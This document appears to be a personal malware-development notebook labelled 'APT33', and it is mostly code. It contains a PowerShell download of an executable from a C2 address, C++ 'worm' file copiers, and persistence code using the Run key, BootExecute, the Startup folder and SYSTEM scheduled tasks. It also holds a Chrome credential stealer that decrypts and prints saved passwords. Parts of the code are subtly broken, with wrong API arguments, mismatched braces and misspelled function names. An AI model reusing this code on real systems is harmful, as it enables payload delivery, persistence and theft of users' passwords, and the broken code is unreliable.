

# APT33

## Powershell to download payload form C2:

```
$url="http:\\192.168.196.137:9001/mal.exe" //C2
$file"C:\\Users\\pdy\\Desktop\\myfile.exe" //path to store
$webclient= New-Object System.Net.WebClient

$webclient.DownloadFile($url,$file)
```

## Worm style

### fstream:

```
#include <Windows.h>
#include <iostream>
#include<fstream>
#include <string.h>
using namespace std;
int main(int argc, char* argv[])
{
    ifstream
    source("C:\\Users\\pdy\\Desktop\\cpp\\malware_developmen\\malw\\x64\\Debug\\malw.exe",
    ios::binary);
    ofstream dest("C:\\Users\\pdy\\Desktop\\C2\\worm.exe", ios::binary);
    dest << source.rdbuf();
    source.close();
    dest.close();
    cout << "done";
    return 0;
}
```

### C style:

```
#include <Windows.h>
#include <iostream>
#include <cstdio>
int main()
{
    const size_t buffer = 4096;
    char buff[buffer];
```

```

size_t size;
FILE* source;
FILE* Dest;
fopen_s(&source, "C:\\Users\\pdy\\Desktop\\cpp\\malware_developmen\\malw\\x64\\Debug\\malw.exe", "rb");
fopen_s(&Dest, "C:\\Users\\pdy\\Desktop\\C2\\worm2.exe", "wb");
while (size=fread(buff,1,buffer,source))
{
    fwrite(buff, 1, size, Dest);
}
fclose(source);
fclose(Dest);
printf("done");
return 0;
}

```

## Persistence

### Registry

```

#include <Windows.h>
#include <iostream>
#include <cstdio>
int main()
{
    HKEY hkey;
    wchar_t exe[] = L"C:\\Users\\pdy\\Desktop\\C2\\mysample.exe";
    long res = RegOpenKeyEx(HKEY_CURRENT_USER,
        (LPCWSTR)L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0,
        KEY_READ | KEY_WRITE, &hkey);
    if (res == ERROR_SUCCESS) {
        RegSetValueEx(hkey, (LPCWSTR)L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0
        , REG_SZ, (unsigned char*)exe, (DWORD)sizeof(exe));
    }
    RegCloseKey(hkey);
    printf("done");
    return 0;
}

```

Programs listed in the load value of the registry key

HKEY\_CURRENT\_USER\\Software\\Microsoft\\Windows  
NT\\CurrentVersion\\Windows run automatically for the currently logged-on user.

By default, the multistring BootExecute value of the registry key

HKEY\_LOCAL\_MACHINE\\System\\CurrentControlSet\\Control\\Session  
Manager is set to autocheck autochk \*. This value causes Windows, at startup,

to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

```
#include <windows.h>
#include <iostream>
int main() {
    HKEY key;
    LPCWSTR subkey = L"System\\CurrentControlSet\\Control\\Session Manager";
    LPCWSTR valueName = L"BootExecute";
    // New combined value (double null-terminated)
    const wchar_t* exitvalue = L"autocheck autochk *";
    const wchar_t* newvalue = L"C:\\Users\\pdy\\Desktop\\C2\\malw.exe";
    DWORD combined_SIZE = (wcslen(exitvalue) + wcslen(newvalue) + 2) * sizeof(wchar_t); // +2
    for double null terminator
    // Allocate memory for the combined value
    wchar_t* combinevalue = new wchar_t[combined_SIZE];
    wcsncpy_s(combinevalue, combined_SIZE / sizeof(wchar_t), exitvalue);
    wscat_s(combinevalue, combined_SIZE / sizeof(wchar_t), L"\0"); // Add first null
    terminator
    wscat_s(combinevalue, combined_SIZE / sizeof(wchar_t), newvalue);
    wscat_s(combinevalue, combined_SIZE / sizeof(wchar_t), L"\0"); // Add second null
    terminator
    // Open the registry key with KEY_SET_VALUE access
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, KEY_SET_VALUE, &key) == ERROR_SUCCESS) {
        // Set the new combined value
        if (RegSetValueEx(key, valueName, 0, REG_MULTI_SZ, (LPBYTE)combinevalue, combined_SIZE) !=
            ERROR_SUCCESS) {
            std::cerr << "Failed to set BootExecute value" << std::endl;
        } else {
            std::cout << "BootExecute value set successfully." << std::endl;
        }
    }
    // Close the registry key
    RegCloseKey(key);
} else {
    std::cerr << "Failed to open registry key" << std::endl;
}
// Free the allocated memory
delete[] combinevalue;
return 0;
}
```

## Schedule task

```
#include <Windows.h>
#include <iostream>
```

```
#include <cstdio>
#include <string>
int main()
{
    std::wstring exe = L"C:\\Users\\pdy\\Desktop\\C2\\a\\test.exe";
    std::wstring destination = L"C:\\Users\\pdy\\AppData\\Roaming\\Microsoft\\Windows\\Start
Menu\\Programs\\Startup\\test.exe";
    int res = MoveFile(exe.c_str(), destination.c_str());
    if (res)
        std::wcout << L"File moved successfully!" << std::endl;
    else
        std::wcerr << L"Error moving file." << std::endl;
    return 0;
}
```

## Schedule task

1- use system("")

```
#include <Windows.h>
#include <iostream>
#include <cstdio>
#include <string.h>

int main()
{
    std::string exe= "C:\\Users\\pdy\\Desktop\\C2\\malw.exe";
    std::string command="schtasks.exe /create /RU SYSTEM /TN \"my_malware_test\" /SC ONCE /ST
02:45 /TR \"\" + exe + "\" ";
    int result= system(command.c_str());
    if (result == 0)
    {
        std::cout << "Scheduled task created successfully." << std::endl;
    }
    else
    {
        std::cerr << "Error creating the scheduled task." << std::endl;
    }
    printf("done");
    return 0;
}
```

2-shellexecute()

3-winexec()

## Credential Access

Credentials from Web Browsers

on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, `AppData\Local\Google\Chrome\User Data\Default>Login Data` and executing a SQL query: `SELECT action_url, username_value, password_value FROM logins;`. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function `CryptUnprotectData`, which uses the victim's cached logon credentials as the decryption key.

we can find the encrypt key in this file:

**`C:\Users\pdy\AppData\Local\Google\Chrome\User Data`**

```
AjzN4JuVAbFq0kNcp32C15y/2efLoNVrWJyx9AAI1ZFcrizkNU0cZi4hRRWJeMOi2NUDVz
+EJf8t3cPt2kqIazteP/ruYHvta5cS1UUDFBwRN50t3UE0LQWXC5QAAAABFLNvKusKhYtl
_enabled":true,"encrypted_key":"RFBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAA
AAAAQmTITz+reBKz64qvjULi4VqGXd9UcQLwCUP99gmiCm0AAAAADoAAAAACAAAgAAAAoA
izzXFAVYHhJACrWeVcAv8+fv5BDGQAAAAHpi63ArnJgOU0xgaC0Y4airXBYutvOX5y+c+Q
="}, "password_manager":{"is_biometric_available":false,"os_password_bl
high_efficiency_mode":{"state":2},"last_battery_use":{"timestamp":"133
":{"info_cache":{"Default":{"active_time":1709914510.111301,"avatar_ic
```

```
#define Cred_path _T("\\Google\\Chrome\\User Data\\Default\\")
#define pass_db _T("Login Data")
#define chrome_db _T("tmp.db")
#define CHROM_QUERY L"SELECT signon_realm,username_value,password_value, date_created FROM
logins"
#include <iostream>
#include <string>
#include <tchar.h>
#include <Windows.h>
#include <ShlObj.h>
#include <sqlite3/winsqlite3.h>
#include <sodium.h>

// Function to decrypt the key from the Local State file
std::string decryptKey(const std::string& encryptedKey) {
    DATA_BLOB input;
    input.pbData = (BYTE*)encryptedKey.c_str();
    input.cbData = encryptedKey.size();
    DATA_BLOB output;
    CryptUnprotectData(&input, NULL, NULL, NULL, NULL, 0, &output);
    std::string decryptedKey(reinterpret_cast<char*>(output.pbData), output.cbData);
    LocalFree(output.pbData);
    return decryptedKey;
}

// Callback function to process the query results
```

```

int getUsers(void* a, int b, void* c, void** d) {
    std::string masterKey = *(std::string*)a; // Get the master key from the user data
    std::string originUrl = (char*)sqlite3_column_text((sqlite3_stmt*)c, 0); // Get the origin
    url from the first column
    std::string username = (char*)sqlite3_column_text((sqlite3_stmt*)c, 1); // Get the username
    from the second column
    std::string encryptedPassword = (char*)sqlite3_column_blob((sqlite3_stmt*)c, 2); // Get the
    encrypted password from the third column
    int dateCreated = sqlite3_column_int((sqlite3_stmt*)c, 3); // Get the date created from the
    fourth column
    // Decrypt the password using the master key and the Sodium library
    std::string iv = encryptedPassword.substr(3, 12); // Get the 12-byte IV from the encrypted
    password
    std::string payload = encryptedPassword.substr(15); // Get the payload from the encrypted
    password
    unsigned char decrypted[256]; // Buffer to store the decrypted password
    unsigned long long decrypted_len; // Length of the decrypted password
    crypto_aead_aes256gcm_decrypt(
        decrypted, &decrypted_len, NULL,
        reinterpret_cast<const unsigned char*>(payload.c_str()), payload.length(),
        reinterpret_cast<const unsigned char*>(iv.c_str()), iv.length(),
        reinterpret_cast<const unsigned char*>(crypto_aead_aes256gcm_NPUBBYTES),
        reinterpret_cast<const unsigned char*>(masterKey.c_str())
    );
    std::string password(reinterpret_cast<char*>(decrypted), decrypted_len); // Convert the
    decrypted password to a string
    // Print the credential information
    std::cout << "Origin URL: " << originUrl << std::endl;
    std::cout << "Username: " << username << std::endl;
    std::cout << "Password: " << password << std::endl;
    std::cout << "Date Created: " << dateCreated << std::endl;
    std::cout << std::endl;
    return 0;
}

int main()
{
    bool res = false;
    TCHAR profilefolder[MAX_PATH];
    SHGetSpecialFolderPath(0, profilefolder, CSIDL_LOCAL_APPDATA, 0);
    lstrcat(profilefolder, Cred_path);
    lstrcat(profilefolder, pass_db);
    CopyFile(profilefolder, chrome_db, false);
    sqlite3* db;
    sqlite3_open("tmp.db", &db);
    // Get the key from the Local State file
    std::string localStatePath = profilefolder;
    localStatePath = localStatePath.substr(0, localStatePath.find_last_of("\\"));
}

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localStatePath += "\\Local State";
std::ifstream localStateFile(localStatePath);
std::string localState((std::istreambuf_iterator<char>(localStateFile)),
std::istreambuf_iterator<char>());
localStateFile.close();
std::string encryptedKey = localState.substr(localState.find("\"encrypted_key\":\") + 17);
encryptedKey = encryptedKey.substr(0, encryptedKey.find("\"));
std::string masterKey = decryptKey(encryptedKey); // Decrypt the key
std::wstring sql = CHROM_QUERY;
// Execute the query and process the results
sqlite3_exec(db, (char*)sql.c_str(), &getusers, &masterKey, NULL);
// Close the database connection
sqlite3_close(db);
// Delete the tmp.db file
DeleteFile(chrome_db);
return 0;
}
```

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